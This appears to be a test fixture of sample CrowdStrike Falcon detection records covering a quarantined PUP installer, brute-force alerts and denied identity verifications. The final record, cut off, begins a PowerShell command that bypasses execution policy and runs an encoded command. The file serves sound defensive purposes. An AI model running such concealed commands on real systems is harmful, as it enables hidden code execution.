install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} +{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand 